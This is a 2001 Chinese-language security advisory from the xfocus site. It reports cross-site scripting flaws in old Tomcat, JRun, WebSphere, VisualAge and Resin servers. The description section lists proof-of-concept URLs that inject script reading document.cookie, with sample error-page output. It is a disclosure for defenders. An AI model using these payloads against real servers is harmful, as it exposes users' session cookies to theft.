xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

多种Java Servlet 平台包含Cross-site脚本漏洞


发布时间:2001-07-03
更新时间:2001-07-03
严重程度:
威胁程度:服务器信息泄露
错误类型:设计错误
利用方式:服务器模式

受影响系统
Tomcat 3.2.1, 3.2.2-beta, 4.0-beta
     <http://jakarta.apache.org/tomcat/>
  JRun 3.0
     <http://www.allaire.com/products/jrun/index.cfm>
  WebSphere 3.5 FP2, 3.02, VisualAge for Java 3.5 Professional
     <http://www-4.ibm.com/software/webservers/>
  Resin
     <http://www.caucho.com/products/resin/>
详细描述
通过请求如下URL,脚本代码将在浏览器上执行:




  Tomcat 3.2.1:
    http://Tomcat/jsp-mapped-dir/>alert(document.cookie)</SCRIPT>.jsp
  JRun 3.0:
    http://JRun/>alert(document.cookie)</SCRIPT>.shtml
    http://JRun/>alert(document.cookie)</SCRIPT>.jsp
    http://JRun/>alert(document.cookie)</SCRIPT>.thtml
  WebSphere 3.5 FP2:
    http://WebSphere/webapp/examples/>alert(document.cookie)</SCRIPT>
  WebSphere 3.02:
    http://WebSphere/>alert(document.cookie)</SCRIPT>.jsp
  VisualAge for Java 3.5 Professional:
    http://VisualAge-WebSphere-Test-Environment/>alert(document.cookie)</SCRIPT>
  Resin 1.2.2:
    http://Reisin/>alert(document.cookie)</SCRIPT>.jsp
    http://www.caucho.com/>document.write(document.cookie)</SCRIPT>.jsp


  These pages produce output like this:
  =================================================
  Error 404
  An error has occurred while processing request:
  http://WebSphere/webapp/examples/******
  
  Message: File not found: //******
  StackTrace: com.ibm.servlet.engine.webapp.WebAppErrorReport: File not found: //******
          at javax.servlet.ServletException.<init>(ServletException.java:107)
          at com.ibm.websphere.servlet.error.ServletErrorReport.<init>(ServletErrorReport.java:31)
          at com.ibm.servlet.engine.webapp.WebAppErrorReport.<init>(WebAppErrorReport.java:20)
          at com.ibm.servlet.engine.webapp.WebAppDispatcherResponse.sendError(WebAppDispatcherResponse.java:97)
          ...
  =================================================
  ******: The JavaScript code is executed here.

测试代码
见描述部分。

解决方案
尚无

相关信息